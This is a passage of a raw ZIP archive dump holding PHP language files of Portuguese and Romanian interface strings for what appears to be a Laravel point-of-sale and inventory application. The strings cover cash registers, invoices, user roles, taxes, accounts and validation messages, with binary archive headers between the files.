alerta de expiração da stocl para', 'days' => 'Days', 'system_settings' => 'Configurações do sistema', 'add_keyboard_shortcuts' => 'Adicionar atalhos de teclado', 'operations' => 'Operações', 'keyboard_shortcut' => 'Atalho de teclado', 'business_created_succesfully' => 'Empresas criadas com sucesso!', 'tax_number1' => 'Número fiscal 1', 'tax_number2' => 'Número fiscal 2', 'is_active' => 'Ativo', 'created_by' => 'Criado por', ]; PK G �Zu��� � pt/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Caixa registradora', 'manage_your_cash_register' => 'Gerenciar registros de caixa', 'all_your_cash_register' => 'Todos os registros de caixa', 'cash_in_hand' => 'Dinheiro', 'open_cash_register' => 'Abrir caixa registradora', 'enter_amount' => 'Inserir quantidade', 'open_register' => 'Abrir registro', 'register_details' => 'Detalhes do registro', 'cash_payment' => 'Pagamento em dinheiro', 'checque_payment' => 'Verificar pagamento', 'card_payment' => 'Pagamento por cartão', 'bank_transfer' => 'Transferência bancária', 'other_payments' => 'Outros pagamentos', 'total_sales' => 'Total de vendas', 'total_cash' => 'total em dinheiro', 'current_register' => 'registro atual', 'close_register' => 'Fechar registro', 'total_card_slips' => 'Total de passes do cartão', 'total_cheques' => 'Total de cheques', 'closing_note' => 'Nota de encerramento', 'close_success' => 'Registro fechado com sucesso', 'open' => 'Open', 'close' => 'Fechar', 'total_refund' => 'Reembolso total', 'refunds' => 'Reembolsos', ]; PK G �ZG��� � pt/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Produtos com pouco estoque. <br/> <small class = 'text-muted'> Com base na quantidade de alerta de produto definida na tela Adicionar produto, compre este produto antes que o estoque termine. </small> ", 'payment_dues' => "Pagamento devido para compras. <br/> <small class='text-muted'> Com base no prazo de pagamento do provedor. <br/> Mostrar pagamentos a serem pagos em 7 dias ou menos. </small> ", 'input_tax' => 'Imposto total coletado para vendas dentro do período de tempo selecionado', 'output_tax' => 'Total de impostos pagos por compras durante o período de tempo selecionado', 'tax_overall' => 'Diferença entre o total de impostos cobrados e o total de impostos pagos dentro do período selecionado', 'purchase_due' => 'Valor total não pago por compras', 'sell_due' => 'Valor total a ser recebido das vendas', 'over_all_sell_purchase' => '-ve value = Valor a pagar por + ve Valor = Valor a receber', 'no_of_products_for_trending_products' => 'Número de produtos de tendências que serão comparados na caixa abaixo.', 'top_trending_products' => "Todos os best-sellers de sua loja. <br/> <small class = 'silenciado texto'> aplicar filtros para pesquisar produtos na tendência para uma categoria, marca, local de negócios específico, etc. </small> ", 'sku' => "ID de produto único ou Unidade de estoque de manutenção - <br> mantê-lo em branco para gerar automaticamente sku. <br> <small class = 'texto-mudo'> Você pode modificar o sku de prefixo em Configurações da empresa. </small> ", 'enable_stock' => 'Ativar ou desativar o gerenciamento de inventário de um produto', 'alert_quantity' => "Mantenha-se alerta quando o estoque do produto atinge ou desce abaixo do valor especificado. <br> <br> <small class = 'text-muted'> Os produtos com pequeno estoque serão exibidos no painel de controle - Seção de alerta de estoque de produtos. </small> ", 'product_type' => '<b> Produto exclusivo </b>: Produto sem variações. <b> Produto variável </b>: produto com variações como tamanho, cor etc.', 'profit_percent' => "Margem de lucro padrão para o produto. <br> <small class = 'text-muted'> (<i> Você pode gerenciar a margem de lucro padrão nas configurações de Negócios. </i>) </small > ", 'pay_term' => "Pagamentos pendentes para compras dentro do período de tempo especificado. <br/> <small class = 'text-mudo'> Todos os pagamentos vencidos ou vencidos serão exibidos no painel de controle - Seção de pagamento expirada </small> ", 'order_status' => 'Os produtos desta compra estarão disponíveis para venda somente se o <b> status do pedido </b> for <b> Itens recebidos </b>.', 'purchase_location' => 'Local comercial onde o produto comprado estará disponível para venda', 'sale_location' => 'Local comercial de onde você quer vender', 'sale_discount' => "Definir 'Desconto de venda padrão' para todas as vendas nas configurações Comerciais Clique no ícone de edição abaixo para adicionar / atualizar o desconto.", 'sale_tax' => "Definir 'Imposto sobre vendas padrão' para todas as vendas nas configurações Comerciais Clique no ícone de edição abaixo para adicionar / atualizar o imposto sobre pedidos.", 'default_profit_percent' => "Margem de lucro padrão de um produto. <br> <small class = 'text-muted'> Usado para calcular o preço de venda com base no preço de compra inserido. <br/> Você pode modificar este valor para produtos individuais ao adicionar </small> ", 'fy_start_month' => 'Início do mês do ano fiscal da sua empresa', 'business_tax' => 'Número de identificação fiscal da sua empresa', 'invoice_scheme' => "bill Esquema significa formato de numeração de nota fiscal. Selecione o esquema a ser utilizado para este local comercial <small class = 'text-mudo'> <i> Você pode adicionar uma nova fatura esquema </b> na configuração da fatura </i> </small> ", 'invoice_layout' => "Layout da fatura a ser usado para este local da empresa <br> <small class='text-muted'> (<i> Você pode adicionar novo <b> Layout da fatura </b> em <b> Configurações da fatura </b> </i>) </small>", 'invoice_scheme_name' => 'Dê um nome breve e significativo ao esquema de faturas', 'invoice_scheme_prefix' => 'Prefixo para esquema de fatura <br> Um prefixo pode ser um texto personalizado ou ano em curso Ex ... # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "número inicial para a numeração do projeto de lei. <br> <small class = 'text-mudo'> pode fazer 1 ou qualquer outro número a partir do qual a numeração começa. </small> ", 'invoice_scheme_count' => 'Número total de faturas geradas para o esquema de faturamento', 'invoice_scheme_total_digits' => 'Comprimento do número da fatura, exceto o prefixo da fatura', 'tax_groups' => 'Taxas de imposto do grupo - definidas acima, para serem usadas em combinação nas seções Comprar / Vender.', 'unit_allow_decimal' => 'Decimais permite que você venda produtos relacionados em frações.', 'print_label' => 'Adicionar produtos -> Escolher informações para exibir em Tags -> Selecionar configurações de código de barras -> Visualizar tags -> Imprimir', 'expense_for' => 'Escolha o usuário para quem a despesa está relacionada. <I> (Opcional) </i> <br/> <small> Exemplo: salário do funcionário. </small>', 'all_location_permission' => 'Se <b> Todos os locais </b> selecionados, essa função terá permissão para acessar todos os locais comerciais', 'dashboard_permission' => 'Se não selecionado, somente a mensagem de boas vindas será exibida em Iniciar.', 'access_locations_permission' => 'Selecione todos os locais que você pode aceder a esta funcionalidade Todas as dados no local selecionado será exibido somente o usuário <br/> <small> Por exemplo: .. pode usar isso para definir <i> Administrador / Caixa / Gerenciar estoque / Gerenciar marcas, </i> de um local específico. </small> ', 'print_receipt_on_invoice' => 'Ativar ou desativar a impressão automática da fatura após a conclusão', 'receipt_printer_type' => '<i> </ i Imprimir> Mostrar a caixa de diálogo Imprimir no navegador com uma pré-visualização da factura <br/> <i> Use configurado Receipt Printer baseada em navegador </i>: selecione uma impressora térmica / recibo configurado para impressão ', 'adjustment_type' => '<i> normal </i>: Ajuste por razões normais, tais como vazamentos, danos, etc. <br/> <i> Anormal </i>: Ajuste para razões tais como incêndio, Acidente, etc. ', 'total_amount_recovered' => 'Valor recuperado do seguro ou venda de resíduos ou outros', 'express_checkout' => 'Marque o pagamento em dinheiro e pague', 'total_card_slips' => 'Número total de pagamentos com cartão usados neste registro', 'total_cheques' => 'Número total de cheques usados neste registro', 'capability_profile' => 'Compatibilidade com comandos e páginas de código varia entre provedores de impressora e modelos, se você não tem certeza, é uma boa idéia usar o perfil de capacidade simples', 'purchase_different_currency' => 'Selecione esta opção se você comprar em uma moeda diferente da moeda da sua empresa', 'currency_exchange_factor' => "1 Moeda de compra =? moeda base <br> <small class = 'text-mudo'> Você pode ativar / desativar 'Comprar em outra moeda' na configuração comercial. </small> '", 'accounting_method' => 'Método de contabilização', 'transaction_edit_days' => 'Número de dias a partir da data da transação na qual uma transação pode ser editada', 'stock_expiry_alert' => "Lista de dias de expiração: days days <br> <small class = 'text-muted'> Você pode definir o número de dias em Business Configuration </small>", ]; PK G �Z7�X�p p pt/role.phpnu �[��� <?php return [ 'add_role' => 'Adicionar papel', 'edit_role' => 'Editar papel', 'user' => 'Usuário', 'supplier' => 'Fornecedor', 'customer' => 'Cliente', 'purchase' => 'Ajuste de compra e estoque', 'report' => 'Relatório', 'user.view' => 'Ver usuário', 'user.create' => 'Adicionar usuário', 'user.update' => 'Editar usuário', 'user.delete' => 'Excluir usuário', 'supplier.view' => 'Ver provedor', 'supplier.create' => 'Adicionar provedor', 'supplier.update' => 'Editar provedor', 'supplier.delete' => 'Remover provedor', 'customer.view' => 'Ver cliente', 'customer.create' => 'Adicionar cliente', 'customer.update' => 'Editar cliente', 'customer.delete' => 'Remover cliente', 'product.view' => 'Visualizar o produto', 'product.create' => 'Adicionar produto', 'product.update' => 'Editar produto', 'product.delete' => 'Excluir produto', 'purchase.view' => 'Ver ajuste de compra e estoque', 'purchase.create' => 'Adicionar ajuste de compra e estoque', 'purchase.update' => 'Editar ajuste de compra e estoque', 'purchase.delete' => 'Excluir ajuste de compra e estoque', 'sell.view' => 'Ver venda de PDV', 'sell.create' => 'Adicionar venda de PDV', 'sell.update' => 'Editar venda de PDV', 'sell.delete' => 'Excluir venda de PDV', 'purchase_n_sell_report.view' => 'Visualizar relatório de compra e venda', 'contacts_report.view' => 'Visualizar relatório de fornecedor e cliente', 'stock_report.view' => 'Exibir relatório de estoque, relatório de ajuste de estoque e relatório de vencimento de estoque', 'tax_report.view' => 'Visualizar relatório fiscal', 'trending_product_report.view' => 'Visualizar o relatório de tendências do produto', 'register_report.view' => 'Exibir relatório de log', 'sales_representative.view' => 'Exibir relatório do agente comercial', 'expense_report.view' => 'Visualizar relatório de despesas', 'business_settings.access' => 'Acessar configuração corporativa', 'barcode_settings.access' => 'Acessar configurações do código de barras', 'invoice_settings.access' => 'Acessar configurações de fatura', 'brand.view' => 'Ver marca', 'brand.create' => 'Adicionar marca', 'brand.update' => 'Editar marca', 'brand.delete' => 'Excluir marca', 'tax_rate.view' => 'Visualizar taxa de imposto', 'tax_rate.create' => 'Adicionar taxa de imposto', 'tax_rate.update' => 'Editar taxa de imposto', 'tax_rate.delete' => 'Excluir taxa de imposto', 'unit.view' => 'Ver unidade', 'unit.create' => 'Adicionar unidade', 'unit.update' => 'Editar unidade', 'unit.delete' => 'Remover unidade', 'category.view' => 'Ver categoria', 'category.create' => 'Adicionar categoria', 'category.update' => 'Editar categoria', 'category.delete' => 'Excluir categoria', 'select_all' => 'Selecionar tudo', 'settings' => 'Configurações', 'brand' => 'Marca', 'tax_rate' => 'Taxa de imposto', 'unit' => 'Unit', 'access_locations' => 'Locais de acesso', 'all_locations' => 'Todos os locais', 'dashboard' => 'Painel', 'dashboard.data' => 'Visualizar dados de início', 'profit_loss_report.view' => 'Visualizar relatório de lucros / perdas', 'direct_sell.access' => 'Acesso à venda', ]; PK G �Z͔�ƽ � pt/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Imposto não incluído', 'inc_of_tax' => 'Imposto incluído', 'profit_percent' => 'x Margem (%)', 'add_new_product' => 'Adicionar novo produto', 'add_product_for_labels' => 'Adicionar produtos para gerar rótulos', 'product_type' => 'tipo de produto', 'category' => 'Category', 'sub_category' => 'Subcategoria', 'unit' => 'Unidade', 'brand' => 'Marca', 'tax' => 'Taxa', 'sku' => 'SKU', 'alert_quantity' => 'Quantidade de alerta', 'product_name' => 'Nome do produto', 'auto_generate' => 'Gerar automaticamente', 'manage_stock' => 'Gerenciar estoque?', 'enable_stock_help' => 'Ativar o gerenciamento de estoque no nível do produto', 'barcode_type' => 'Tipo de código de barras', 'applicable_tax' => 'Imposto aplicável', 'selling_price_tax_type' => 'Tipo de imposto sobre o preço de venda', 'inclusive' => 'Incluído', 'exclusive' => 'não incluído', 'edit_product' => 'Editar produto', 'default_purchase_price' => 'Preço de compra padrão', 'default_selling_price' => 'Preço de venda padrão', 'value' => 'Valor', 'variation_name' => 'Nome da variação', 'variation_values' => 'Variation values', 'use_template' => 'Usar modelo', 'add_variation' => 'Adicionar variação', 'product_added_success' => 'Produto adicionado com sucesso', 'product_updated_success' => 'Produto atualizado com sucesso', 'enable_product_expiry' => 'Ativar expiração do produto', 'expiry_period' => 'Período de expiração', 'expires_in' => 'expira em', 'not_applicable' => 'Não aplicável', 'months' => 'Meses', 'days' => 'Dias', 'mfg_date' => 'Data de fabricação', 'exp_date' => 'data de expiração', 'view_product' => 'Visualizar o produto', 'add_product' => 'Adicionar produto', 'variations' => 'Variations', 'import_products' => 'Importar produtos', 'file_to_import' => 'Arquivo para importar', 'file_imported_successfully' => 'Arquivo importado com sucesso', 'variation_sku_format' => 'Formato SKU de Variação', 'variation_sku_format_help_text' => 'Formato SKU de Variação - Quando o SKU da variação estiver vazio, este formato será usado para gerar SKU para as variações.', 'sku_number' => 'Número SKU (Exemplo -> ABC-1, ABC-2)', 'sku_variation_number' => 'Variação de SKU (Exemplo -> ABCS, ABCM)' ]; PK G �Z�ƪ2� � pt/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Configurações da fatura', 'manage_your_invoices' => 'Gerenciar suas configurações de fatura', 'all_your_invoice_schemes' => 'Todos os seus esquemas de fatura', 'added_success' => 'Configurações de faturamento adicionadas com sucesso', 'updated_success' => 'Configurações de faturamento atualizadas com sucesso', 'deleted_success' => 'Configuração da fatura excluída com sucesso', 'add_invoice' => 'Adicionar novo esquema de fatura', 'edit_invoice' => 'Editar esquema de fatura', 'name' => 'Name', 'prefix' => 'Prefixo', 'start_number' => 'Iniciar de', 'total_digits' => 'Número de dígitos', 'preview' => 'Avançar', 'not_selected' => 'Não selecionado', 'invoice_count' => 'contagem de faturas', 'invoice_schemes' => 'esquemas de fatura', 'invoice_layouts' => 'disposição da fatura', 'invoice_layout' => 'Design da fatura', 'all_your_invoice_layouts' => 'Todos os seus projetos de fatura', 'add_invoice_layout' => 'Adicionar novo layout de fatura', 'layout_name' => 'Nome do design', 'invoice_scheme' => 'Esquema da fatura', 'header_text' => 'Texto do cabeçalho', 'invoice_no_prefix' => 'Fatura não. Rótulo', 'invoice_heading' => 'cabeçalho da fatura', 'sub_total_label' => 'rótulo de subtotal', 'discount_label' => 'tag de desconto', 'tax_label' => 'etiqueta fiscal', 'total_label' => 'etiqueta total', 'fields_to_be_shown_in_address' => 'Campos a serem exibidos no endereço do local', 'highlight_color' => 'Cor de destaque', 'footer_text' => 'rodapé de texto', 'layout_added_success' => 'Design da fatura adicionada com sucesso', 'edit_invoice_layout' => 'Editar design da fatura', 'layout_updated_success' => 'Design de fatura atualizado com sucesso', 'used_in_locations' => 'Usado em locais', 'show_business_name' => 'Mostrar nome da empresa', 'show_location_name' => 'Mostrar nome da localização', 'show_mobile_number' => 'Número do celular', 'show_alternate_number' => 'Número alternativo', 'show_email' => 'E-mail', 'show_tax_1' => 'Detalhes fiscais 1', 'show_tax_2' => 'Detalhes fiscais 2', 'fields_to_shown_for_communication' => 'Campos para detalhes de comunicação', 'fields_to_shown_for_tax' => 'Campos para detalhes fiscais', 'invoice_logo' => 'Logotipo da fatura', 'show_logo' => 'Mostrar o logotipo da fatura', 'show_barcode' => 'Mostrar código de barras', 'total_due_label' => 'Tag total vencido', 'invoice_heading_not_paid' => 'Sufixo de cabeçalho para não pago', 'invoice_heading_paid' => 'Sufixo de inscrição para pago', 'show_payments' => 'Mostrar informações de pagamento', 'show_customer' => 'Mostrar informações do cliente', 'paid_label' => 'Rótulo do valor pago', 'customer_label' => 'Tag do cliente', ]; PK G �ZE��2 2 ro/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'Cheltuieli', 'expense_categories' => 'Categorii', 'manage_your_expense_categories' => 'Administreaza categorii', 'all_your_expense_categories' => 'Toate categoriile', 'expense_category' => 'Categorie cheltuieli', 'category_name' => 'Denumire', 'category_code' => 'Cod', 'added_success' => 'Categorie adaugata cu succes', 'updated_success' => 'Categorie actualizata cu succes', 'deleted_success' => 'Categorie stearsa cu succes', 'add_expense_category' => 'Adauga categorie', 'edit_expense_category' => 'Editeaza categorie', 'all_expenses' => 'Toate cheltuielile', 'expense_status' => 'Status cheltuiala', 'add_expense' => 'Adauga', 'edit_expense' => 'Editeaza', 'expense_note' => 'Notita cheltuiala', 'expense_add_success' => 'Cheltuiala adaugata cu succes', 'expense_update_success' => 'Cheltuiala actualizata cu succes', 'expense_delete_success' => 'Cheltuiala stearsa cu succes', 'expense_for' => 'Cheltuiala pentru', ]; PK G �Z�?�ˡ � ro/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'Add', 'edit' => 'Edit', 'save' => 'Save', 'update' => 'Update', 'action' => 'Action', 'actions' => 'Actions', 'view' => 'View', 'delete' => 'Delete', 'close' => 'Close', 'something_went_wrong' => 'Something went wrong, please try again later', 'required' => 'This field is required', 'please_select' => 'Please Select', 'cancel' => 'Cancel', 'date' => 'Date', 'filter_by_date' => 'Filter by date', 'location' => 'Location', 'go_back' => 'Go Back', 'due_tooltip' => '-ve value = Amount to pay <br> +ve value = Amount to receive', 'purchase_due_tooltip' => '-ve value = Amount to receive <br> +ve value = Amount to pay', 'yes' => 'Yes', 'no' => 'No', 'all' => 'All', 'settings' => 'Settings', 'business_location_settings' => 'Business Location Settings', 'print' => 'Print', 'submit' => 'Submit', 'purchase_sell_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between sold and purchase quantity. Product: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between stock adjustment and purchase quantity. Product: :product', 'transaction_edit_not_allowed' => 'Transaction edit not allowed after :days days.', 'name' => 'Name', 'price' => 'Price', 'activate' => 'Activate', 'deactivate' => 'Deactivate', ]; PK G �Zߛ�U U ro/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'Stock Adjustment', 'stock_adjustments' => 'Stock Adjustments', 'list' => 'List Stock Adjustments', 'add' => 'Add Stock Adjustment', 'all_stock_adjustments' => 'All stock adjustments', 'search_product' => 'Search products for stock adjustment', 'adjustment_type' => 'Adjustment type', 'normal' => 'Normal', 'abnormal' => 'Abnormal', 'total_amount' => 'Total Amount', 'total_amount_recovered' => 'Total amount recovered', 'reason_for_stock_adjustment' => 'Reason', 'stock_adjustment_added_successfully' => 'Stock adjustment added successfully', 'search_products' => 'Search Products', 'delete_success' => 'Stock adjustment deleted successfully', 'view_details' => 'View stock adjustment details', ]; PK G �Zgk� � ro/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'Acasa', 'welcome_message' => 'Salut :name,', 'total_sell' => 'Total vanzari', 'total_purchase' => 'Total achizitii', 'invoice_due' => 'Facturi la termen', 'purchase_due' => 'Achizitii la termen', 'today' => 'Azi', 'this_week' => 'Aceasta saptamana', 'this_month' => 'Aceasta luna', 'this_fy' => 'Acest an', 'sells_last_30_days' => 'Vanzari in ultimele 30 de zile', 'sells_current_fy' => 'Vanzari an in curs', 'total_sells' => 'Total Vanzari (:currency)', 'product_stock_alert' => 'Alerta stoc produse', 'payment_dues' => 'Plati la termen', 'due_amount' => 'Due Amount', 'stock_expiry_alert' => 'Alerta expirate', 'todays_profit' => 'Profit azi', ]; PK G �Z��W9e e ro/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'Product', 'qty' => 'Quantity', 'unit_price' => 'Unit Price', 'subtotal' => 'Subtotal', 'discount' => 'Discount', 'tax' => 'Tax', 'total' => 'Total', 'invoice_number' => 'Invoice No.', 'date' => 'Date', 'receipt_settings' => 'Receipt Settings', 'receipt_settings_mgs' => 'All receipt related settings for this location', 'print_receipt_on_invoice' => 'Auto print invoice after finalizing', 'receipt_printer_type' => 'Receipt Printer Type', 'receipt_settings_updated' => 'Receipt Setting updated succesfully', ]; PK G �Za3M�P P ro/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'Tax Rates', 'manage_your_tax_rates' => 'Manage your tax rates', 'all_your_tax_rates' => 'All your tax rates', 'name' => 'Name', 'rate' => 'Tax Rate %', 'added_success' => 'Tax rate added successfully', 'updated_success' => 'Tax rate updated successfully', 'deleted_success' => 'Tax rate deleted successfully', 'add_tax_rate' => 'Add Tax Rate', 'edit_taxt_rate' => 'Edit Tax Rate', 'add_tax_group' => 'Add tax group', 'tax_group_added_success' => 'Tax group added successfully', 'tax_group_updated_success' => 'Tax group updated successfully', 'tax_groups' => 'Tax groups', 'edit_tax_group' => 'Edit tax group', 'sub_taxes' => 'Sub taxes', 'can_not_be_deleted' => 'This tax rate belongs to some tax groups', ]; PK G �Z���q� � ro/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'Categorii', 'manage_your_categories' => 'Administreaza categoriile', 'all_your_categories' => 'Toate categoriile', 'category' => 'Categorie', 'category_name' => 'Denumire categorie', 'code' => 'Cod categorie', 'add_as_sub_category' => 'Adauga ca subcategorie', 'select_parent_category' => 'Selecteaza categorie parinte', 'added_success' => 'Categorie adaugata cu succes', 'updated_success' => 'Categorie actualizata cu succes', 'deleted_success' => 'Categorie stearsa cu succes', 'add_category' => 'Adauga', 'edit_category' => 'Editeaza', ]; PK G �ZV���� � ro/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'Brands', 'manage_your_brands' => 'Manage your brands', 'all_your_brands' => 'All your brands', 'note' => 'Note', 'brand_name' => 'Brand name', 'short_description' => 'Short description', 'added_success' => 'Brand added successfully', 'updated_success' => 'Brand updated successfully', 'deleted_success' => 'Brand deleted successfully', 'add_brand' => 'Add brand', 'edit_brand' => 'Edit brand', ]; PK G �Z>�} } ro/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Informatiile nu corespund cu inregistrarile noastre.', 'throttle' => 'Ai incercat de prea multe ori. Te rugam incearca iar in :seconds seconds.', ]; PK G �ZY���� � ro/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => 'The :attribute must be accepted.', 'active_url' => 'The :attribute is not a valid URL.', 'after' => 'The :attribute must be a date after :date.', 'after_or_equal' => 'The :attribute must be a date after or equal to :date.', 'alpha' => 'The :attribute may only contain letters.', 'alpha_dash' => 'The :attribute may only contain letters, numbers, and dashes.', 'alpha_num' => 'The :attribute may only contain letters and numbers.', 'array' => 'The :attribute must be an array.', 'before' => 'The :attribute must be a date before :date.', 'before_or_equal' => 'The :attribute must be a date before or equal to :date.', 'between' => [ 'numeric' => 'The :attribute must be between :min and :max.', 'file' => 'The :attribute must be between :min and :max kilobytes.', 'string' => 'The :attribute must be between :min and :max characters.', 'array' => 'The :attribute must have between :min and :max items.', ], 'boolean' => 'The :attribute field must be true or false.', 'confirmed' => 'The :attribute confirmation does not match.', 'date' => 'The :attribute is not a valid date.', 'date_format' => 'The :attribute does not match the format :format.', 'different' => 'The :attribute and :other must be different.', 'digits' => 'The :attribute must be :digits digits.', 'digits_between' => 'The :attribute must be between :min and :max digits.', 'dimensions' => 'The :attribute has invalid image dimensions.', 'distinct' => 'The :attribute field has a duplicate value.', 'email' => 'The :attribute must be a valid email address.', 'exists' => 'The selected :attribute is invalid.', 'file' => 'The :attribute must be a file.', 'filled' => 'The :attribute field must have a value.', 'image' => 'The :attribute must be an image.', 'in' => 'The selected :attribute is invalid.', 'in_array' => 'The :attribute field does not exist in :other.', 'integer' => 'The :attribute must be an integer.', 'ip' => 'The :attribute must be a valid IP address.', 'ipv4' => 'The :attribute must be a valid IPv4 address.', 'ipv6' => 'The :attribute must be a valid IPv6 address.', 'json' => 'The :attribute must be a valid JSON string.', 'max' => [ 'numeric' => 'The :attribute may not be greater than :max.', 'file' => 'The :attribute may not be greater than :max kilobytes.', 'string' => 'The :attribute may not be greater than :max characters.', 'array' => 'The :attribute may not have more than :max items.', ], 'mimes' => 'The :attribute must be a file of type: :values.', 'mimetypes' => 'The :attribute must be a file of type: :values.', 'min' => [ 'numeric' => 'The :attribute must be at least :min.', 'file' => 'The :attribute must be at least :min kilobytes.', 'string' => 'The :attribute must be at least :min characters.', 'array' => 'The :attribute must have at least :min items.', ], 'not_in' => 'The selected :attribute is invalid.', 'numeric' => 'The :attribute must be a number.', 'present' => 'The :attribute field must be present.', 'regex' => 'The :attribute format is invalid.', 'required' => 'The :attribute field is required.', 'required_if' => 'The :attribute field is required when :other is :value.', 'required_unless' => 'The :attribute field is required unless :other is in :values.', 'required_with' => 'The :attribute field is required when :values is present.', 'required_with_all' => 'The :attribute field is required when :values is present.', 'required_without' => 'The :attribute field is required when :values is not present.', 'required_without_all' => 'The :attribute field is required when none of :values are present.', 'same' => 'The :attribute and :other must match.', 'size' => [ 'numeric' => 'The :attribute must be :size.', 'file' => 'The :attribute must be :size kilobytes.', 'string' => 'The :attribute must be :size characters.', 'array' => 'The :attribute must contain :size items.', ], 'string' => 'The :attribute must be a string.', 'timezone' => 'The :attribute must be a valid zone.', 'unique' => 'The :attribute has already been taken.', 'uploaded' => 'The :attribute failed to upload.', 'url' => 'The :attribute format is invalid.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Only :qty :unit available', 'this_field_is_required' => 'This field is required', ], ]; PK G �ZqU�F F ro/account.phpnu �[��� <?php return [ 'account' => 'Cont', 'manage_your_account' => 'Administreaza contul', 'all_accounts' => 'Toate', 'account_number' => 'Numar cont', 'add_account' => 'Adauga', 'account_created_success' => 'Cont creat cu succes', 'account_updated_success' => 'Cont actualizat cu succes', 'edit_account' => 'Editeaza', 'account_closed_success' => 'Cont inchis cu succes', 'closed' => 'Inchis', 'list_accounts' => 'Lista conturi', 'opening_balance' => 'Balanta de inceput', 'account_book' => 'Account Book', 'credit' => 'Credit', 'debit' => 'Debit', 'account_name' => 'Nume cont', 'transaction_type' => 'Tip tranzactie', 'fund_transfer' => 'Transfer fonduri', 'selected_account' => 'Contul selectat', 'transfer_to' => 'Transfera la', 'fund_transfered_success' => 'Fonduri transfertae cu succes', 'deposit' => 'Depozit', 'deposited_successfully' => 'Suma depozitata cu succes', 'from' => 'De la', 'to' => 'La', 'balance_sheet' => 'Balanta', 'liability' => 'Responsabilitate', 'assets' => 'Bunuri', 'supplier_due' => 'Furnizor datorat', 'customer_due' => 'Client datorat', 'account_balances' => 'Balanta cont', 'total_assets' => 'Total bunuri', 'total_liability' => 'Total responsabilitati', 'trial_balance' => 'Trial Balance', 'payments_not_linked_with_account' => 'Total <b>:payments</b> payments not linked with any account.', 'saving_current' => 'Saving/Current', 'capital' => 'Capital', 'not_applicable' => 'Not Applicable', 'account_type' => 'Account Type', 'accounts' => 'Conturi', 'capital_accounts' => 'Capital Accounts', 'deposit_from' => 'Depozit din', 'no_capital_account_created' => 'No active Capital Account exists.', 'payment_account_report' => 'Payment Account Report', 'invoice_ref_no' => 'Factura No./Ref. No.', 'payment_ref_no' => 'Plata Ref No.', 'payment_for' => 'Plata pentru', 'link_account' => 'Conecteaza cont', 'account_linked_success' => 'Cont conectat cu succes', 'view_details' => 'Detalii', ]; PK G �Z�y{ ro/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Anterior', 'next' => 'Urmator »', ]; PK G �Zr�^uG G ro/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'Contacte', 'name' => 'Nume', 'contact' => 'Contact', 'manage_your_contact' => 'Administreaza :contacts', 'all_your_contact' => 'Toate :contacts', 'add_contact' => 'Adauga contact nou', 'contact_type' => 'Tip contact', 'tax_no' => 'Taxa', 'pay_term' => 'Termen de plata', 'pay_term_period' => 'Perioada de plata', 'mobile' => 'Mobil', 'landline' => 'Tel. fix', 'alternate_contact_number' => 'Contact alternativr', 'edit_contact' => 'Editeaza', 'added_success' => 'Contact adaugat cu succes', 'updated_success' => 'Contact actualizat cu succes', 'deleted_success' => 'Contact sters cu succes', 'add_new_customer' => 'Adauga client nou', 'view_contact' => 'Vezi contact', 'contact_info' => ':contact info', 'all_purchases_linked_to_this_contact' => 'Toate achizitiile legate de acest contact', 'all_sells_linked_to_this_contact' => 'Toate vanzarile legate de acest contact', 'total_purchase_due' => 'Total achizitii la termen', 'pay_due_amount' => 'Datorii la termen', 'total_paid' => 'Total platit', 'total_purchase_paid' => 'Total plati achizitii', 'total_sale_paid' => 'Total plati vanzari', 